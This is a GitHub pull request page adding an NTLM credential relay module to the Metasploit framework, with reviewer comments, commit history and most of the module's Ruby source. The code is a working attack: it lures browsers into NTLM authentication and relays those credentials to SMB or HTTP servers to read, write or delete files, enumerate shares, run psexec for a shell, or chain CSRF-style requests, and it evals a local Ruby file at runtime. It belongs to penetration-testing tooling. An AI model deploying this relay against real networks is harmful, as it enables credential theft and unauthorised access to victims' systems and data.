Skip to content
This repository

Adding http_ntlmrelay module #589

Merged
merged 7 commits into from over 1 year ago

3 participants

webstersprodigy Tod Beardsley James Lee
webstersprodigy

This is a generic purpose NTLM relaying module. It acts as an HTTP server, and relays the credentials forwarded by the browser to other protocols (currently SMB and HTTP). It supports multiple HTTP/SMB operations, it supports NTLMv2, and it also supports attack chaining, so the result of one attack can be used in future attacks.

I have a few test configurations available here: http://sdrv.ms/MemcNN. Here are the contents from the README:

Test Setup

In every case, there are at least two external machines involved, domain_client and domain_victim. Both are assumed to be domain joined, and have users with permission.

The attack scenario is this:

After running the module with configured options, domain_client will visit the URI and negotiate windows creds. These credentials will relay to domain_victim, performing the configured action.

These scenarios have been tested on actual sites. However, the name details have sometimes been modified, both to avoid disclosure and to make the testing scenarios easier to understand.In terms of config, I've tested this on default win server 2008r2 and win server 2003 active directories with NTLM enabled IE8/9, Firefox, and chrome connecting to the HTTP server.

In each demo directory, there are resource.rc files that contain info regarding a scenario. In order of usability complexity, these are:

  1. fileopts (relays to an smb server to list contents, write a file, read a file, remove a file, psexec)
  2. corpcard (relays to an internal website and extracts information)
  3. email_parking (relays to a different internal website and extracts information)
  4. csrf_wiki (obtains a CSRF token and cookie, and uses these in a second request to perform an operation on mediawiki)
  5. super_pwn (obtains computernames from an internal website, scans these for 445, and then relays to these for a meterpreter shell)
added some commits July 09, 2012
webstersprodigy Adding http_ntlmrelay module f50843e
webstersprodigy fixed a type bug with the default response c593a34
webstersprodigy Improved smb_put reliability
The .write function was having issues with large files, the
connection would close or sometimes there would be errors.
I changed thefunction to act more like smb_relay and it works better.
fd009fe
modules/auxiliary/server/http_ntlmrelay.rb
((30 lines not shown))
  30
+	# Aliases for common classes
  31
+	XCEPT  = Rex::Proto::SMB::Exceptions
  32
+	CONST  = Rex::Proto::SMB::Constants
  33
+	NDR = Rex::Encoder::NDR
  34
+
  35
+	def initialize(info = {})
  36
+		super(update_info(info,
  37
+			'Name'        => 'HTTP Client MS Credential Relayer',
  38
+			'Version'     => '$Revision:$',
  39
+			'Description' => %q{
  40
+					This module relays negotiated NTLM Credentials from an HTTP server to multiple
  41
+					protocols (currently it supports relaying to SMB and HTTP).
  42
+
  43
+					Complicated custom attacks requiring multiple requests that depend on each
  44
+					other can be written using the SYNC* options. For example, a typical CSRF
  45
+					typical CSRF style attack might look like:
1
James Lee Collaborator
jlee-r7 added a note July 20, 2012

"typical CSRF" doubled.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((56 lines not shown))
  56
+				],
  57
+			'Version'     => '$Revision:$',
  58
+			'License'     => MSF_LICENSE,
  59
+			'Actions'     =>
  60
+				[
  61
+					[ 'WebServer' ]
  62
+				],
  63
+			'PassiveActions' =>
  64
+				[
  65
+					'WebServer'
  66
+				],
  67
+			'DefaultAction'  => 'WebServer'))
  68
+
  69
+		register_options([
  70
+			OptBool.new('RSSL', [true, "SSL on the remote connection ", false]),
  71
+			OptString.new('RTYPE', [true,
3
James Lee Collaborator
jlee-r7 added a note July 20, 2012

You seem to be using this option in a manner equivalent to the meaning of Actions.

I might need some direction on this one. I need the module to always have the 'WebServer' action, and then exactly one of the 'RTYPE' actions/options. (e.g. it wouldn't be as straightforward as other modules I've looked at, like tftp_transfer_util or http_put)

Tod Beardsley Owner
todb-r7 added a note August 20, 2012

Looks like OptEnum is the way to go on this. There's a decent OptEnum usage example in MSSQL Payload

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
lib/rex/proto/smb/client.rb
@@ -962,7 +962,7 @@ def session_setup_with_ntlmssp_blob(blob = '', do_recv = true)
962 962
 		ret = self.smb_send(pkt.to_s)
963 963
 		return ret if not do_recv
964 964
 
965  
-		self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, false)
  965
+		self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
2
James Lee Collaborator
jlee-r7 added a note July 20, 2012

Changing this in the library code is pretty dangerous. Will require some serious testing of other users of this method.

Since this method doesn't do anything else before or after the do_recv check, better would be to pass do_recv=false and call smb_recv_parse yourself.

Great idea. I knew this was bad, but was debating on the right way to do it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((250 lines not shown))
  250
+	end
  251
+
  252
+	# relay creds to server and perform any HTTP specific attacks
  253
+	def http_relay_toserver(hash, ser_sock = nil)
  254
+		timeout = 20
  255
+		type3 = (ser_sock == nil ? false : true)
  256
+
  257
+		method = datastore['RTYPE'].split('_')[1]
  258
+		theaders = {'Authorization' => "NTLM " << hash,
  259
+					'Connection' => 'Keep-Alive' }
  260
+
  261
+		if (method == 'POST')
  262
+			theaders['Content-Length'] = (datastore['FINALPUTDATA'].length + 4).to_s()
  263
+		end
  264
+
  265
+		# HTTP_HEADERFILE is how thie module supports cookies, multipart forms, etc
1
James Lee Collaborator
jlee-r7 added a note July 20, 2012

typo: "thie" -> "this"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((252 lines not shown))
  252
+	# relay creds to server and perform any HTTP specific attacks
  253
+	def http_relay_toserver(hash, ser_sock = nil)
  254
+		timeout = 20
  255
+		type3 = (ser_sock == nil ? false : true)
  256
+
  257
+		method = datastore['RTYPE'].split('_')[1]
  258
+		theaders = {'Authorization' => "NTLM " << hash,
  259
+					'Connection' => 'Keep-Alive' }
  260
+
  261
+		if (method == 'POST')
  262
+			theaders['Content-Length'] = (datastore['FINALPUTDATA'].length + 4).to_s()
  263
+		end
  264
+
  265
+		# HTTP_HEADERFILE is how thie module supports cookies, multipart forms, etc
  266
+		if datastore['HTTP_HEADERFILE'] != nil
  267
+			print_status("Including extra headers from: #{datastore['SYNCFILE']}")
1
James Lee Collaborator
jlee-r7 added a note July 20, 2012

Should SYNCFILE be HTTP_HEADERFILE here?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((255 lines not shown))
  255
+		type3 = (ser_sock == nil ? false : true)
  256
+
  257
+		method = datastore['RTYPE'].split('_')[1]
  258
+		theaders = {'Authorization' => "NTLM " << hash,
  259
+					'Connection' => 'Keep-Alive' }
  260
+
  261
+		if (method == 'POST')
  262
+			theaders['Content-Length'] = (datastore['FINALPUTDATA'].length + 4).to_s()
  263
+		end
  264
+
  265
+		# HTTP_HEADERFILE is how thie module supports cookies, multipart forms, etc
  266
+		if datastore['HTTP_HEADERFILE'] != nil
  267
+			print_status("Including extra headers from: #{datastore['SYNCFILE']}")
  268
+			#previous request might create the file, so error thrown at runtime
  269
+			if not ::File.readable?(datastore['HTTP_HEADERFILE'])
  270
+				print_error("SYNCFILE unreadable, aborting")
1
James Lee Collaborator
jlee-r7 added a note July 20, 2012

SYNCFILE -> HTTP_HEADERFILE

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((295 lines not shown))
  295
+		ser_sock = connect(opts) if !type3
  296
+
  297
+		r = ser_sock.request_raw(opts)
  298
+		resp = ser_sock.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout, true)
  299
+
  300
+		# Type3 processing
  301
+		if type3
  302
+			#check if auth was successful
  303
+			if resp.code == 401
  304
+				print_error("Auth not successful, returned a 401")
  305
+			else
  306
+				print_status("Auth successful, saving server response in database")
  307
+			end
  308
+			#if verbose, print the response
  309
+			if datastore['VERBOSE']
  310
+				print_status(resp)
1
James Lee Collaborator
jlee-r7 added a note July 20, 2012

use vprint_status instead of this

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((349 lines not shown))
  349
+							(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
  350
+							"\x00\x00"
  351
+		rescue ::Exception => e
  352
+			print_error("Type 2 response not read properly from server")
  353
+			raise e
  354
+		end
  355
+		ntlmsspencodedblob = Rex::Text.encode_base64(ntlmsspblob)
  356
+		return [ntlmsspencodedblob, ser_sock]
  357
+	end
  358
+
  359
+	#relay ntlm type3 SMB message
  360
+	def smb_relay_toservert3(hash, ser_sock)
  361
+		arg = get_hash_info(hash)
  362
+		dhash = Rex::Text.decode_base64(hash)
  363
+
  364
+		blob =
1
James Lee Collaborator
jlee-r7 added a note July 20, 2012

A comment documenting this constants would be nice.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((387 lines not shown))
  387
+			failure.command = resp['Payload']['SMB'].v['Command']
  388
+			failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
  389
+			raise failure
  390
+		end
  391
+		return ser_sock
  392
+	end
  393
+
  394
+	#gets a specified file from the drive
  395
+	def smb_get(ser_sock)
  396
+		share, path = datastore['RURIPATH'].split('\\', 2)
  397
+		path = path
  398
+		ser_sock.client.tree_connect(share)
  399
+		ser_sock.client.open("\\" << path, 0x1)
  400
+		resp = ser_sock.client.read()
  401
+		print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}")
  402
+		if datastore["VERBOSE"]
1
James Lee Collaborator
jlee-r7 added a note July 20, 2012

vprint_status

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((649 lines not shown))
  649
+	end
  650
+
  651
+	#function allowing some basic/common configuration in responses
  652
+	def set_cli_200resp()
  653
+		response = create_response(200, "OK")
  654
+		response.headers['Proxy-Support'] = 'Session-Based-Authentication'
  655
+
  656
+		if (datastore['RESPPAGE'] != nil)
  657
+			begin
  658
+				respfile = File.open(datastore['RESPPAGE'], "rb")
  659
+				response.body = respfile.read
  660
+				respfile.close
  661
+
  662
+				type = datastore['RESPPAGE'].split('.')[-1].downcase
  663
+				#images can be especially useful (e.g. in email signatures)
  664
+				if type == 'png' or type == 'gif' or type == 'jpg' or type == 'jpeg'
1
James Lee Collaborator
jlee-r7 added a note July 20, 2012

I think this construct is a little less awkard like so:

case type
when 'png', 'gif', 'jpg', 'jpeg'
    ...
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
modules/auxiliary/server/http_ntlmrelay.rb
((273 lines not shown))
  273
+			begin
  274
+				File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
  275
+					h = header.split(":")
  276
+					theaders[h[0].strip] = h[1].strip
  277
+				end
  278
+			rescue ::Exception => e
  279
+				print_error("HTTP_HEADERFILE not parsed correctly")
  280
+				raise e
  281
+			end
  282
+		end
  283
+
  284
+		opts = {
  285
+		'uri'     => datastore['RURIPATH'],
  286
+		'method'  => method,
  287
+		'version' => '1.1',
  288
+		'headers' => theaders,
1
James Lee Collaborator
jlee-r7 added a note July 20, 2012

There is also a 'raw_headers' option which would save you the effort of parsing above

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Tod Beardsley
Owner

Added a suggestion to use OptEnum instead of OptString -- other than that, looks okay to me; @jlee-r7 can you test and merge?

webstersprodigy

@todb-r7 Thanks for the suggestion, OptEnum is a better fit. Updated in the latest commit.

Tod Beardsley
Owner

The change to the SMB library looks like it impacts only one other module, and that one depends on the defaults anyway.

Thanks for the quick update, @webstersprodigy , testing now.

Tod Beardsley todb-r7 merged commit 65b29d1 into from August 21, 2012
Tod Beardsley todb-r7 closed this August 21, 2012
Tod Beardsley
Owner

FWIW, @webstersprodigy here's my commit of your module.

http://git.io/gwc0kg

Just eyeballing, there are many places to make the code more robust to exception raises, if you're inclined, but I didn't see any show stoppers in there.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Showing 7 unique commits by 1 author.

Jul 09, 2012
webstersprodigy Adding http_ntlmrelay module f50843e
Jul 11, 2012
webstersprodigy fixed a type bug with the default response c593a34
webstersprodigy Improved smb_put reliability
The .write function was having issues with large files, the
connection would close or sometimes there would be errors.
I changed thefunction to act more like smb_relay and it works better.
fd009fe
Jul 22, 2012
webstersprodigy Took/tested all egypt's comments, other than the Actions one 6bb3128
webstersprodigy Forgot to git add client.rb d56ccc6
webstersprodigy Changing a string concat from + to << 3c7ad96
Aug 20, 2012
webstersprodigy Update to use OptEnum for RTYPE 65b29d1
This page is out of date. Refresh to see the latest.
4  lib/rex/proto/smb/client.rb
@@ -937,7 +937,7 @@ def session_setup_with_ntlmssp(user = '', pass = '', domain = '', name = nil, do
937 937
 
938 938
 
939 939
 	# An exploit helper function for sending arbitrary SPNEGO blobs
940  
-	def session_setup_with_ntlmssp_blob(blob = '', do_recv = true)
  940
+	def session_setup_with_ntlmssp_blob(blob = '', do_recv = true, userid = 0)
941 941
 		native_data = ''
942 942
 		native_data << self.native_os + "\x00"
943 943
 		native_data << self.native_lm + "\x00"
@@ -949,7 +949,7 @@ def session_setup_with_ntlmssp_blob(blob = '', do_recv = true)
949 949
 		pkt['Payload']['SMB'].v['Flags1'] = 0x18
950 950
 		pkt['Payload']['SMB'].v['Flags2'] = 0x2801
951 951
 		pkt['Payload']['SMB'].v['WordCount'] = 12
952  
-		pkt['Payload']['SMB'].v['UserID'] = 0
  952
+		pkt['Payload']['SMB'].v['UserID'] = userid
953 953
 		pkt['Payload'].v['AndX'] = 255
954 954
 		pkt['Payload'].v['MaxBuff'] = 0xffdf
955 955
 		pkt['Payload'].v['MaxMPX'] = 2
669  modules/auxiliary/server/http_ntlmrelay.rb
... ...
@@ -0,0 +1,669 @@
  1
+##
  2
+# $Id:$
  3
+##
  4
+
  5
+##
  6
+# This file is part of the Metasploit Framework and may be subject to
  7
+# redistribution and commercial restrictions. Please see the Metasploit
  8
+# Framework web site for more information on licensing and terms of use.
  9
+# http://metasploit.com/framework/
  10
+##
  11
+
  12
+require 'msf/core'
  13
+
  14
+require 'rex/proto/ntlm/constants'
  15
+require 'rex/proto/ntlm/message'
  16
+require 'rex/proto/ntlm/crypt'
  17
+require 'rex/exceptions'
  18
+
  19
+
  20
+NTLM_CONST = Rex::Proto::NTLM::Constants
  21
+NTLM_CRYPT = Rex::Proto::NTLM::Crypt
  22
+MESSAGE = Rex::Proto::NTLM::Message
  23
+
  24
+class Metasploit3 < Msf::Auxiliary
  25
+
  26
+	include Msf::Exploit::Remote::HttpClient
  27
+	include Msf::Exploit::Remote::HttpServer::HTML
  28
+	include Msf::Auxiliary::Report
  29
+
  30
+	# Aliases for common classes
  31
+	XCEPT  = Rex::Proto::SMB::Exceptions
  32
+	CONST  = Rex::Proto::SMB::Constants
  33
+	NDR = Rex::Encoder::NDR
  34
+
  35
+	def initialize(info = {})
  36
+		super(update_info(info,
  37
+			'Name'        => 'HTTP Client MS Credential Relayer',
  38
+			'Version'     => '$Revision:$',
  39
+			'Description' => %q{
  40
+					This module relays negotiated NTLM Credentials from an HTTP server to multiple
  41
+					protocols (currently it supports relaying to SMB and HTTP).
  42
+
  43
+					Complicated custom attacks requiring multiple requests that depend on each
  44
+					other can be written using the SYNC* options. For example, a typical CSRF
  45
+					style attack might look like:
  46
+
  47
+					1)	Set an HTTP_GET request with a unique SNYNCID
  48
+					2)	Set an HTTP_POST request with a SYNCFILE, which contains logic to look
  49
+						through the database and parse out important values, such as the CSRF token
  50
+						or authentication cookies. It then sets these as configuration options
  51
+					3)	Create a web page with iframes pointing at 1 and then 2
  52
+				},
  53
+			'Author'      =>
  54
+				[
  55
+					'Rich Lundeen <richard.lundeen[at]gmail.com>',
  56
+				],
  57
+			'Version'     => '$Revision:$',
  58
+			'License'     => MSF_LICENSE,
  59
+			'Actions'     =>
  60
+				[
  61
+					[ 'WebServer' ]
  62
+				],
  63
+			'PassiveActions' =>
  64
+				[
  65
+					'WebServer'
  66
+				],
  67
+			'DefaultAction'  => 'WebServer'))
  68
+
  69
+		register_options([
  70
+			OptBool.new('RSSL', [true, "SSL on the remote connection ", false]),
  71
+			OptEnum.new('RTYPE', [true, "Type of action to perform on remote target", "HTTP_GET",
  72
+				[   "HTTP_GET", "HTTP_POST", "SMB_GET", "SMB_PUT", "SMB_RM", "SMB_ENUM",
  73
+					"SMB_LS", "SMB_PWN" ]]),
  74
+			OptString.new('RURIPATH', [true, "The path to relay credentials ", "/"]),
  75
+			OptString.new('PUTDATA', [false, "This is the HTTP_POST or SMB_PUT data" ]),
  76
+			OptPath.new('FILEPUTDATA', [false, "PUTDATA, but specified by a local file" ]),
  77
+			OptPath.new('SYNCFILE', [false, "Local Ruby file to eval dynamically" ]),
  78
+			OptString.new('SYNCID', [false, "ID to identify a request saved to db" ]),
  79
+
  80
+		], self.class)
  81
+
  82
+		register_advanced_options([
  83
+			OptPath.new('RESPPAGE', [false,
  84
+				'The file used for the server response. (Image extensions matter)', nil]),
  85
+			OptPath.new('HTTP_HEADERFILE', [false,
  86
+				'File specifying extra HTTP_* headers (cookies, multipart, etc.)', nil]),
  87
+			OptString.new('SMB_SHARES', [false, 'The shares to check with SMB_ENUM',
  88
+							'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol'])
  89
+		], self.class)
  90
+
  91
+		deregister_options('BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthPassword',
  92
+			'DigestAuthUser', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey',
  93
+			'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2')
  94
+	end
  95
+
  96
+	# Handles the initial requests waiting for the browser to try NTLM auth
  97
+	def on_request_uri(cli, request)
  98
+
  99
+		datastore['REQUEST_IP'] = cli.peerhost
  100
+		cli.keepalive = true;
  101
+
  102
+		# If the host has not started auth, send 401 authenticate with only the NTLM option
  103
+		if(!request.headers['Authorization'])
  104
+			response = create_response(401, "Unauthorized")
  105
+			response.headers['WWW-Authenticate'] = "NTLM"
  106
+			response.headers['Proxy-Support'] = 'Session-Based-Authentication'
  107
+
  108
+			response.body =
  109
+				"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
  110
+
  111
+			cli.send_response(response)
  112
+			return false
  113
+		end
  114
+		method,hash = request.headers['Authorization'].split(/\s+/,2)
  115
+		# If the method isn't NTLM something odd is goign on.
  116
+		# Regardless, this won't get what we want, 404 them
  117
+		if(method != "NTLM")
  118
+			print_status("Unrecognized Authorization header, responding with 404")
  119
+			send_not_found(cli)
  120
+			return false
  121
+		end
  122
+
  123
+		print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
  124
+
  125
+		if (datastore['SYNCFILE'] != nil)
  126
+			sync_options()
  127
+		end
  128
+
  129
+		handle_relay(cli,hash)
  130
+	end
  131
+
  132
+	def run
  133
+		parse_args()
  134
+		exploit()
  135
+	end
  136
+
  137
+	#The call to handle_relay should be a victim HTTP type 1 request
  138
+	def handle_relay(cli_sock, hash)
  139
+		print_status("Beginning NTLM Relay...")
  140
+		message = Rex::Text.decode_base64(hash)
  141
+		#get type of message, which will be HTTP, SMB, ...
  142
+		protocol = datastore['RTYPE'].split('_')[0]
  143
+		if(message[8,1] != "\x03")
  144
+			#Relay NTLMSSP_NETOTIATE from client to server (type 1)
  145
+			case protocol
  146
+				when 'HTTP'
  147
+					resp, ser_sock = http_relay_toserver(hash)
  148
+					t2hash = resp.headers["WWW-Authenticate"].split(" ")[1]
  149
+				when 'SMB'
  150
+					t2hash, ser_sock = smb_relay_toservert1(hash)
  151
+			end
  152
+			#goes along with above, resp is now just the hash
  153
+			client_respheader = "NTLM " << t2hash
  154
+
  155
+			#Relay NTLMSSP_CHALLENGE from server to client (type 2)
  156
+			response = create_response(401, "Unauthorized")
  157
+			response.headers['WWW-Authenticate'] = client_respheader
  158
+			response.headers['Proxy-Support'] = 'Session-Based-Authentication'
  159
+
  160
+			response.body =
  161
+				"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
  162
+
  163
+			cli_sock.send_response(response)
  164
+
  165
+			#Get the type 3 hash from the client and relay to the server
  166
+			cli_type3Data = cli_sock.get_once(-1, 5)
  167
+			begin
  168
+				cli_type3Header = cli_type3Data.split(/\r\nAuthorization:\s+NTLM\s+/,2)[1]
  169
+				cli_type3Hash = cli_type3Header.split(/\r\n/,2)[0]
  170
+			rescue ::NoMethodError
  171
+				print_error("Error: Type3 hash not relayed.")
  172
+				cli_sock.close()
  173
+				return false
  174
+			end
  175
+			case protocol
  176
+				when 'HTTP'
  177
+					resp, ser_sock = http_relay_toserver(cli_type3Hash, ser_sock)
  178
+				when 'SMB'
  179
+					ser_sock = smb_relay_toservert3(cli_type3Hash, ser_sock)
  180
+					#perform authenticated action
  181
+					action = datastore['RTYPE'].split('_')[1]
  182
+					case action
  183
+						when 'GET'
  184
+							resp = smb_get(ser_sock)
  185
+						when 'PUT'
  186
+							resp = smb_put(ser_sock)
  187
+						when 'RM'
  188
+							resp = smb_rm(ser_sock)
  189
+						when 'ENUM'
  190
+							resp = smb_enum(ser_sock)
  191
+						when 'LS'
  192
+							resp = smb_ls(ser_sock)
  193
+						when 'PWN'
  194
+							resp = smb_pwn(ser_sock, cli_sock)
  195
+					end
  196
+			end
  197
+			report_info(resp, cli_type3Hash)
  198
+
  199
+			#close the client socket
  200
+			response = set_cli_200resp()
  201
+			cli_sock.send_response(response)
  202
+			cli_sock.close()
  203
+			if protocol == 'HTTP'
  204
+				ser_sock.close()
  205
+			end
  206
+			return
  207
+		else
  208
+			print_error("Error: Bad NTLM sent from victim browser")
  209
+			cli_sock.close()
  210
+			return false
  211
+		end
  212
+	end
  213
+
  214
+	def parse_args()
  215
+		# Consolidate the PUTDATA and FILEPUTDATA options into FINALPUTDATA
  216
+		if datastore['PUTDATA'] != nil and datastore['FILEPUTDATA'] != nil
  217
+			print_error("PUTDATA and FILEPUTDATA cannot both contain data")
  218
+			raise ArgumentError
  219
+		elsif datastore['PUTDATA'] != nil
  220
+			datastore['FINALPUTDATA'] = datastore['PUTDATA']
  221
+		elsif datastore['FILEPUTDATA'] != nil
  222
+			f = File.open(datastore['FILEPUTDATA'], "rb")
  223
+			datastore['FINALPUTDATA'] = f.read
  224
+			f.close
  225
+		end
  226
+
  227
+		if (not framework.db.active) and (not datastore['VERBOSE'])
  228
+			print_error("No database configured and verbose disabled, info may be lost. Continuing")
  229
+		end
  230
+	end
  231
+
  232
+	# sync_options dynamically changes the arguments of a running attack
  233
+	# this is useful for multi staged relay attacks
  234
+	# ideally I would use a resource file but it's not easily exposed, and this is simpler
  235
+	def sync_options()
  236
+		print_status("Dynamically evaling local ruby file: #{datastore['SYNCFILE']}")
  237
+		# previous request might create the file, so error thrown at runtime
  238
+		if not ::File.readable?(datastore['SYNCFILE'])
  239
+			print_error("SYNCFILE unreadable, aborting")
  240
+			raise ArgumentError
  241
+		end
  242
+		data = ::File.read(datastore['SYNCFILE'])
  243
+		eval(data)
  244
+	end
  245
+
  246
+	# relay creds to server and perform any HTTP specific attacks
  247
+	def http_relay_toserver(hash, ser_sock = nil)
  248
+		timeout = 20
  249
+		type3 = (ser_sock == nil ? false : true)
  250
+
  251
+		method = datastore['RTYPE'].split('_')[1]
  252
+		theaders = ('Authorization: NTLM ' << hash << "\r\n" <<
  253
+					"Connection: Keep-Alive\r\n" )
  254
+
  255
+		if (method == 'POST')
  256
+			theaders << 'Content-Length: ' <<
  257
+				(datastore['FINALPUTDATA'].length + 4).to_s()<< "\r\n"
  258
+		end
  259
+
  260
+		# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
  261
+		if datastore['HTTP_HEADERFILE'] != nil
  262
+			print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}")
  263
+			#previous request might create the file, so error thrown at runtime
  264
+			if not ::File.readable?(datastore['HTTP_HEADERFILE'])
  265
+				print_error("HTTP_HEADERFILE unreadable, aborting")
  266
+				raise ArgumentError
  267
+			end
  268
+			#read file line by line to deal with any dos/unix ending ambiguity
  269
+			File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
  270
+				next if header.strip == ''
  271
+				theaders << (header) << "\r\n"
  272
+			end
  273
+		end
  274
+
  275
+		opts = {
  276
+		'uri'     => datastore['RURIPATH'],
  277
+		'method'  => method,
  278
+		'version' => '1.1',
  279
+		}
  280
+		if (datastore['FINALPUTDATA'] != nil)
  281
+			#we need to get rid of an extra "\r\n"
  282
+			theaders = theaders[0..-3]
  283
+			opts['data'] = datastore['FINALPUTDATA'] << "\r\n\r\n"
  284
+		end
  285
+		opts['SSL'] = true if datastore["RSSL"]
  286
+		opts['raw_headers'] = theaders
  287
+
  288
+		ser_sock = connect(opts) if !type3
  289
+
  290
+		r = ser_sock.request_raw(opts)
  291
+		resp = ser_sock.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout, true)
  292
+
  293
+		# Type3 processing
  294
+		if type3
  295
+			#check if auth was successful
  296
+			if resp.code == 401
  297
+				print_error("Auth not successful, returned a 401")
  298
+			else
  299
+				print_status("Auth successful, saving server response in database")
  300
+			end
  301
+			vprint_status(resp)
  302
+		end
  303
+		return [resp, ser_sock]
  304
+	end
  305
+
  306
+	#relay ntlm type1 message for SMB
  307
+	def smb_relay_toservert1(hash)
  308
+		rsock = Rex::Socket::Tcp.create(
  309
+			'PeerHost' 	=> datastore['RHOST'],
  310
+			'PeerPort'	=> datastore['RPORT'],
  311
+			'Timeout'	=> 3,
  312
+			'Context'	=>
  313
+				{
  314
+					'Msf'		=> framework,
  315
+					'MsfExploit'=> self,
  316
+				}
  317
+		)
  318
+		if (not rsock)
  319
+			print_error("Could not connect to target host (#{target_host})")
  320
+			return
  321
+		end
  322
+		ser_sock = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)
  323
+
  324
+		if (datastore['RPORT'] == '139')
  325
+			ser_sock.client.session_request()
  326
+		end
  327
+
  328
+		blob = Rex::Proto::NTLM::Utils.make_ntlmssp_secblob_init('', '', 0x80201)
  329
+		ser_sock.client.negotiate(true)
  330
+		ser_sock.client.require_signing = false
  331
+		resp = ser_sock.client.session_setup_with_ntlmssp_blob(blob, false)
  332
+		resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
  333
+
  334
+		#Save the user_ID for future requests
  335
+		ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
  336
+
  337
+		begin
  338
+			#lazy ntlmsspblob extraction
  339
+			ntlmsspblob =	'NTLMSSP' <<
  340
+							(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
  341
+							"\x00\x00"
  342
+		rescue ::Exception => e
  343
+			print_error("Type 2 response not read properly from server")
  344
+			raise e
  345
+		end
  346
+		ntlmsspencodedblob = Rex::Text.encode_base64(ntlmsspblob)
  347
+		return [ntlmsspencodedblob, ser_sock]
  348
+	end
  349
+
  350
+	#relay ntlm type3 SMB message
  351
+	def smb_relay_toservert3(hash, ser_sock)
  352
+		arg = get_hash_info(hash)
  353
+		dhash = Rex::Text.decode_base64(hash)
  354
+
  355
+		#Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
  356
+		blob =
  357
+			"\xa1" + Rex::Proto::NTLM::Utils.asn1encode(
  358
+				"\x30" + Rex::Proto::NTLM::Utils.asn1encode(
  359
+					"\xa2" + Rex::Proto::NTLM::Utils.asn1encode(
  360
+						"\x04" + Rex::Proto::NTLM::Utils.asn1encode(
  361
+							dhash
  362
+						)
  363
+					)
  364
+				)
  365
+			)
  366
+
  367
+		resp = ser_sock.client.session_setup_with_ntlmssp_blob(
  368
+				blob,
  369
+				false,
  370
+				ser_sock.client.auth_user_id
  371
+			)
  372
+		resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
  373
+
  374
+		#check if auth was successful
  375
+		if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
  376
+			print_status("SMB auth relay succeeded")
  377
+		else
  378
+			failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
  379
+			failure.word_count = resp['Payload']['SMB'].v['WordCount']
  380
+			failure.command = resp['Payload']['SMB'].v['Command']
  381
+			failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
  382
+			raise failure
  383
+		end
  384
+		return ser_sock
  385
+	end
  386
+
  387
+	#gets a specified file from the drive
  388
+	def smb_get(ser_sock)
  389
+		share, path = datastore['RURIPATH'].split('\\', 2)
  390
+		path = path
  391
+		ser_sock.client.tree_connect(share)
  392
+		ser_sock.client.open("\\" << path, 0x1)
  393
+		resp = ser_sock.client.read()
  394
+		print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}")
  395
+		vprint_status("----Contents----")
  396
+		vprint_status(resp["Payload"].v["Payload"])
  397
+		vprint_status("----End Contents----")
  398
+		ser_sock.client.close()
  399
+		return resp["Payload"].v["Payload"]
  400
+	end
  401
+
  402
+	#puts a specified file
  403
+	def smb_put(ser_sock)
  404
+		share, path = datastore['RURIPATH'].split('\\', 2)
  405
+		path = path
  406
+		ser_sock.client.tree_connect(share)
  407
+
  408
+		fd = ser_sock.open("\\#{path}", 'rwct')
  409
+		fd << datastore['FINALPUTDATA']
  410
+		fd.close
  411
+
  412
+		logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
  413
+		print_status(logdata)
  414
+		return logdata
  415
+	end
  416
+
  417
+	#deletes a file from a share
  418
+	def smb_rm(ser_sock)
  419
+		share, path = datastore['RURIPATH'].split('\\', 2)
  420
+		path = path
  421
+		ser_sock.client.tree_connect(share)
  422
+		ser_sock.client.delete('\\' << path)
  423
+		logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} deleted"
  424
+		print_status(logdata)
  425
+		return logdata
  426
+	end
  427
+
  428
+	#smb share enumerator, overly simplified, just tries connecting to configured shares
  429
